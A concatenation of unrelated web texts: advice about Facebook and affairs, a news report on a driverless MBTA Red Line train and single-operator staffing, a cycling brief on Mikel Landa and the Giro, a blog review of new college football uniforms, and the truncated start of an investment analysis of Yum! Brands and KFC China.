Facebook is not responsible for these divorces: already-strained marriages are bound to break with or without the service. Still, a couple doesn't have to be experiencing marital difficulties for an online relationship to develop from mere online chatting into a full-fledged affair.
In the end, Facebook is a social tool. For single people, social networks can help them meet that special someone. Even for marriages, social networks can help further along a relationship. Just like with any other social medium, however, even the most innocent of intentions can turn ugly with improper use.
You don't need to be a psychologist to realize that Facebook can accelerate the process. Stories of people whose marriages were destroyed by affairs that began on social networks abound on the Internet.
Remind yourself why you're using a given service and regularly assess your intentions with the people you're frequently communicating with. Facebook may not call itself a dating website, but hundreds of millions use it to connect on varying levels. Intimate conversations, even online ones, should only be reserved for your significant other.
See also:The head of the MBTA’s largest labor union said that Thursday’s runaway Red Line train incident could have been stopped sooner if the MBTA had two workers aboard — as the agency did until a few years ago — instead of just one.
The Red Line cut down to one worker in the spring of 2012, a move intended to save the T about $1.3 million annually, agency documents said.
“If there was a second employee on the train, they would have had, and been equipped with, the knowledge and ability to bring this train to a safe stop,” said James O’Brien, president of the Boston Carmen’s Union.
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On Thursday, a Red Line train traveled for multiple stops with no one at the controls after the operator stepped out. Governor Charlie Baker said the operator was checking a signal. Transportation Secretary Stephanie Pollack said the investigation was focusing on human error.
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MBTA spokesman Joe Pesaturo said in an e-mail that the incident “had nothing to do with the deployment of personnel.”
He said the second worker on Red Line trains served in “the unnecessary position of train attendant.”
“Train attendants were stationed in the 4th car and only had the responsibility of opening/closing doors,” he wrote.
“Single Person Train Operation is standard operating procedure in subway systems around the country, and the MBTA has a very good safety record since the implementation of SPTO on the Red Line more than three years ago,” Pesaturo wrote.
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Pollack said at a news conference that “if safety procedures are followed properly,” then only a single operator is needed on each train.
But O’Brien said the train attendant could have noticed there was no operator sooner and could have radioed for help and pulled the emergency brake to stop the train. The second worker could have also helped communicate with passengers to keep them calm and to assist if the train needed to be evacuated.
“A second person on this train definitely would have helped today,” O’Brien said. “Safety is our No. 1 priority. We’re just very happy no one got hurt.”
Single-person train operation was introduced on the Blue Line in 1996 and adopted on the Orange Line in 2010.
In a presentation in 2011 as the T was considering making the switch on the Red Line, the agency described single-person train operation as “the industry standard for rapid transit systems” worldwide.
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“The motorperson will perform all functions performed by both motorpersons and train attendants, including door operation and station announcements,” the presentation said. “The Federal Transit Administration has recommended this approach to minimizing operating costs while maintaining service.”
At the same time, the T said it planned to assign more personnel to station platforms to increase security and to help passengers. The T also said it would install more monitors, mirrors, and cameras to help with security and so that train operators could see more clearly whether doorways were clear to close.
The agency also said it would retrain operators.
Even though the move was expected to save money, the T said it would redeploy employees to other duties. O’Brien said the move did not ledd to layoffs.
“Some of the proposed savings will be reinvested into improved frequency, which will reduce passenger wait time, crowding, and improve passenger comfort,” T officials explained in the presentation.
More on recent troubles at MBTA
Matt Rocheleau can be reached at matthew.rocheleau@globe.com. Follow him on Twitter @mrocheleWhile many hoped the rumours of a chance that Team Sky’s Chris Froome would race the Giro d’Italia next year would come true, it appears that they will remain rumour, as Mikel Landa has been tapped to lead the team for the first Grand Tour.
Landa, speaking to Basque publication Marca said he had already begun his training for next season, with the “big goal” to shine at the Giro “more or less shaped and similar to other years,” he said.
He is training around his home town of Murgia, with running through the snow on the slopes Mount Gorbea.
The team has already mapped out the first half of his season, beginning at “either the Vuelta a Andalucía or Valencia.” Then his final preparation for the Giro campaign will come from Tirreno-Adriatico, the Volta a Catalunya and Giro del Trentino.
Unfortunately for his Basque fans, this schedule will not allow him to race at the Vuelta a País Vasco.
Click through to read more at Marca.It’s been a while, and I apologize. I knew when I started this blog that it would be tough to post regularly, but I didn’t see the onslaught of freelance work that would take all of my free time as of late. If you’re interested in writing a guest post, let me know.
I HAD to write something now because it’s the best time of the year — the start of college football season. With the season starting today, I thought I’d take a look at all the teams introducing new uniforms this season. I’m just looking at FBS teams, and I’ll look at special, one-game uniforms, like Pro Combat and the Michigan/Notre Dame game unis in another post.
I like to keep this blog away from all uniform-ranking posts, so I’ll go in alphabetical order, but I will try to provide some commentary. Full redesigns are up first. Minor tweaks are at the bottom.
Arizona State
Starting off with a good one. Arizona State had one of my favorite redesigns this offseason. I love the new pitchfork logo, and it provides a more creative use of the helmet than slapping a logo centered on the side. It’s adapted well on the custom shoulder stripe that they won’t have to share with any other school as well. And I love the new trend of matte (non-shiny) black helmets. I don’t love the all-black uni combination, but like we’re seeing at a lot of schools, they’re providing lots of jersey, pants, and helmet options, creating a ton of possibilities week-to-week.
Arkansas State
Arkansas State will be switching to these. That’s all I know for now.
Baylor
Yikes. Not that Baylor’s had a long history of good uniforms (or football), but those pants… I generally love white helmets, but in the combos above, the white-helmet versions lack any gold in the uniform. Baylor should stick with this look.
Boston College
Boston College updated their uniforms, with the number font, loss of shoulder eagle, and new helmet being the biggest differences. While I didn’t really care for BC’s old number font, it was clearly BC’s at a glance. I like the conceptual nature of the new helmet stripe (inspired by stained glass), but it doesn’t quite come through on a football helmet… Similar to Kentucky’s checkers and Maryland’s turtle shells (see both below), a decent idea wasn’t very well executed.
Bowling Green
Bowling Green got a much-needed update. Their previous uniforms were pretty awful. It’s tough to make orange and brown look good, but these, while a little generic, aren’t bad. I like the falcon logo on the chest, and the number font makes them a little less generic. The pants stripe is a little thick, but overall much better than what they had before.
Buffalo
Buffalo has gone from looking like Kentucky to looking like the Detroit Lions (and that’s a good thing). They’re not all that similar to the Lions, but the new blue reminds me of it and the number font is similar. It’s a nice, clean look, and I love the new, more unique blue. Unfortunately, the Kentucky-style helmet will stay the same. I hope they at least update the color to match the new blue…
Colorado
Colorado’s new uniforms are basically old uniforms. They’re throwbacks they wore last year to honor the 1990 “National Championship” team (that split the title with Georgia Tech after getting this 5th down). They’ve been slightly modified and use a much better gold color for the helmet than the yellow-gold they’ve used for years.
Florida International
FIU got a good update from last year as well. The pants are the same color as the jerseys, but it actually works well with the darker blue helmet. Monochrome’s not as bad when the helmet doesn’t try to match it as well, because usually it fails (like theirs did last year).
Fresno State
Fresno State got one of the worst redesigns of the offseason (don’t worry – my least favorite’s still to come). Sure, Fresno was stuck in the 90s the past few years, but they should probably try to get back to the 90s this season if it’s not too late. I’m not sure where to begin… the giant stripe under the arms is ugly. The pixelating fade-away stripes on the shoulders and pants aren’t great, and they seem totally out of place with the rest of the uniform. And the helmet… I guess they had to keep some of the 90s in their uniforms with that stripe (that also doesn’t fit in with the rest of this uniform design at all). Fresno’s trademark neon green V looks even worse on this helmet. And there’s no way that red helmet will mach that red uniform. It’s like Nike took a helmet, jersey, and pants from 3 different templates (with the pants being the only decent piece) and put them together for Fresno State…ok, I’m done.
Georgia Tech
I love Georgia Tech (hence the color scheme of this blog). I do not love these uniforms. I did not love them when Russell introduced them in 2008 in mustard yellow. I grew to like, but did not love them when they became a better gold in 2009. And now that they’re all gold, including the numbers, I again do not like them. I may be alone, but I actually loved last year’s Georgia Tech uniforms. I also really liked the 2010 Orange Bowl uniforms. Why Russell keeps changing things up, and why they keep coming back to this design, I’ll never know…
This year’s numbers will presumably be tough to read from a distance and on TV, but I guess UCF pulls it off. Apparently Tech will wear a version with navy numbers, similar to 2009′s, on the road since Tech chooses to wear white at home. Sorry for all the Tech talk… onto someone else.
Hawaii
At first, I was all like, “Ooh, I like these new Hawaii uniforms.” And then they turned around, and I was all like, “Who are these weird lizard people with thin, green legs?” Take away those weird things on the back of the pants and these are solid uniforms. With them…
Indiana
Indiana stripped the bad parts of last year’s uniforms away and left the good. Last year, they fell victim to Fresno State syndrome (see above) and had helmets, jerseys, and pants that looked like they were from different jersey templates. There’s nothing exciting about Indiana’s uniforms, but they’re classic and they look nice. It’s better to be boring than ugly. The Hoosiers have come a long way from the Antwan Randle El days. (Also, the helmet and pants will match; there just aren’t pictures of the real things floating around.)
Kentucky
Kentucky tried something, a la Boston College, and it more noticeably doesn’t work. The state of Kentucky loves horse racing, but I’m not sure what place it has in football uniforms. And jockey’s uniforms are ugly anyway. If they were much smaller checkers that were more subtle, it might be cool, but it’s on an ugly side-of-shoulder patch, and it just looks bad. I’ve never liked Kentucky’s super-shiny blue helmet, either. The white one is an improvement, but something makes me still not like it. I think it’s the lack of any sort of third color.
Louisiana-Lafayette
The Ragin’ Cajuns needed an update, but this still isn’t great… the pants don’t seem to match the style of the jerseys, and their helmets still suck (as do all text-based helmets). Their number font is unique to them, and like Kentucky, I like the idea to include some local flair, but gradients have no place in sports uniforms.
Louisville
Louisville has had ugly uniforms for a while, and this is definitely an improvement. The numbers are still a little dated with the big shadows, and I don’t know why, but I always wish their helmet had fewer strips. But this is the best they’ve looked as far as I can remember. And they finally shrunk their wordmark a little bit.
Maryland
Here we have it. Not just my least favorite redesign of the year, but maybe my least favorite football uniform ever. It’s like they’ll be wearing the worst of the Pro Combat uniforms every week. Next year’s SAT may have an analogy question that looks like this:
OREGON : NIKE ::
(A) Maryland : Under Armour
I love that they tried something unique with the helmet because it’s great when teams have something clever other than their logo slapped on the side, but they should have realized it wasn’t working and either fixed it or ditched it. Effects like the turtle shell here are cool when done subtly, and even though it’s gray, it’s very in-your-face. And the helmet stripe is a cool idea, but maybe a little less of it? It looks like a crash test dummy.
Then there’s the numbers, reminiscent of my former least-favorite-uniform-ever. Gradient plus more of the texture? Stop adding so much into these. And the yellow has just got to go. The only way I won’t gag when Maryland plays Georgia Tech this year is if they wear the red top, white pants combo (the most like last year’s uniforms, which were actually ok!).
Nevada
Nevada swapped the ugly, old Miami template for the West Virginia template. Not great, but an improvement for sure.
North Texas
North Texas is going all green. Yuck. And they still have an all-text helmet. Double yuck.
Oklahoma State
Oklahoma State is following all the trends – lots of helmets, lots of options, and a black matte helmet. And I really like it. These are nice and clean with some cool features like the arm and pants stripes design and matte black and gray helmets.
Purdue
I’ve seen a lot of hate for the new Purdue uniforms, and I don’t really get it. They’re plain, but I think they did simple really well. There’s nothing bad other than the chest stitching on the black jerseys, but they’re clean and modern, and I like them. The new helmet will just have one stripe.
South Carolina
I really like South Carolina’s new uniforms, and I’ve disliked theirs for years. The garnet jersey and white pants combo looks really good. Now if they would just stop using their ugly C + bird logo on their helmets and use the one they use for baseball…
South Florida
USF’s uniforms aren’t all that different from last year’s. I still like their white helmet, green jersey, white pants combo the best.
TCU
TCU is adding new uniforms, but will continue to wear last year’s, too… The new ones have the colored side of shoulder like Kentucky and Louisiana-Lafayette, and somebody at TCU knows how to subtly add meaningful texture to design. Take notes, BC, Kentucky, and Maryland. The jerseys are ok, but I like the new helmet.
Texas Tech
Texas Tech improved over last year’s uniforms, but they need to just wear the white pants all the time. The all red is horrible. The white jerseys are much better than the red or black ones, too, since they have two colored stripes. Why no white stripe on the other two? The colored jerseys would look a little better with white numbers, too.
Utah
Utah’s uniforms changed and improved slightly. Another well-done, subtle, meaningful texture is the Utah topography on the pants. It doesn’t however, translate well to the black jersey. It could have, though, with dark gray topography. Oh, well. Also, white pants would make these much better since they have a red helmet.
UTEP
Boy, did UTEP need new uniforms… They chose the generic 90s template, but anything’s better than what they had last year. I sound like a broken record, but try some white pants with those blue tops…
Western Kentucky
Last year, Western Kentucky made the Georgia Tech Orange Bowl template I like look bad with their giant name and shadow numbers. Now Russell gave them something simple, but nice-looking. I wish they’d do the same for GT. The Hilltoppers also have a new helmet that’s white with red stripes.
Washington State
I kind of like Washington State’s new look, although last year’s wasn’t bad at all. It’s a kind of matte helmet that isn’t black, and it still works. The gray uniforms are kind of cool, if nothing else for being unique.
So to recap, the biggest winners in my book were Arizona State, Buffalo, Oklahoma State and South Carolina. The biggest losers were Baylor, Fresno State, the backs of Hawaii’s legs, Kentucky, Louisiana-Lafayette, Maryland, and North Texas.
Here are some more minor tweaks that happened this offseason:
Anything I missed? What new uniforms do you guys love and hate?This article is co-authored by Yifeng Mao, the Head of Equity Research at Goldpebble Research, a China based research firm specializing in data procession and analysis. Opinions expressed are our own.
Disclaimer: We currently do not have a position in YUM.
On Nov 23, Chinese media accused one of the chicken suppliers to KFC China known as the Su Hai Group of feeding toxic chemicals to chickens to accelerate their growth cycle from 100 days to a mere 45. KFC China responded that day, denying the allegations and stating that 45-day is the industry standard. At the same time, KFC China highlighted that Su Hai Group supplies less than 1% of its chicken supply.
That was obviously not good enough to stop the bleeding.
On Nov 29, just one week ahead of its December 6 Analyst Meeting, KFC China’s owner, Yum! Brands (NYSE:YUM), issued a press release after the market close, guiding down China’s same store sales (SSS) to -4%, from previous projection of flat or low single-digit growth for Q4 2012. In addition, the company announced that new restaurant opening growth would decelerate to 700 in 2013 from 800 in 2012, citing a slowdown of China’s economy.
The day after the announcement, YUM plunged 10%.
With some 3,700 stores in China, more than half of YUM’s business now comes from KFC China, 44% revenue and 50% profits, to be specific. Although it now occupies half of the total fast-food industry in China, comparing China to the U.S., conceivably Yum! Brand is still in the very early innings of penetrating China market. For every million people in China there are only 3.5 YUM! Restaurant, compared with 58 in the U.S.
So the “China slowdown” catchall, while somewhat valid, is unlikely to tell the entire story behind KFC China's dimming prospects. With no other notable factors |
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